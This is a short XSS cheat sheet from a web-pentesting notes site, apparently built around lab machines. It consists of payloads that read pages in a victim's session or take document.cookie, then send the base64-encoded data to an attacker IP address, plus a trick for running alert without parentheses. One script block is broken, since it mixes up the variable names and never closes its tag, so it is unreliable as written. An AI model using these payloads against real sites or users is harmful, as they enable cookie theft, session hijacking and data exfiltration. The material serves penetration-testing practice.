> For the complete documentation index, see [llms.txt](https://notes.dado1513.dev/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://notes.dado1513.dev/web-pentesting/xss-cheatsheet.md).

# XSS Cheatsheet

### Perform `GET/POST` request on victim session

```html
<a href='javascript: fetch("http://localhost:3000/administrator/Employee-management/raw/branch/main/index.php") .then(response => response.text()) .then(data => fetch("http://10.10.14.16/", { method: "POST", headers: { "Content-Type": "application/x-www-form-urlencoded" }, body: "d=" + encodeURIComponent(btoa(unescape(encodeURIComponent(data)))) }));'>XSS test</a>
```

```javascript
<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open("get","https://alert.htb/index.php?page=messages",true);
var attacker = "http://10.10.14.16/cookie="
xhr.onreadystatechange = function () {
    if (xhr.readyState == XMLHttpRequest.DONE) {
      fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
    }
  }
req.send();
<script>
```

```html
<a href="javascript:fetch('http://10.10.14.16/?d='+encodeURIComponent(btoa(document.cookie)));">XSS test </a>
```

### XSS without parentheses

```javascript
alert`1`
```

### Resources

* <https://portswigger.net/research/xss-without-parentheses-and-semi-colons>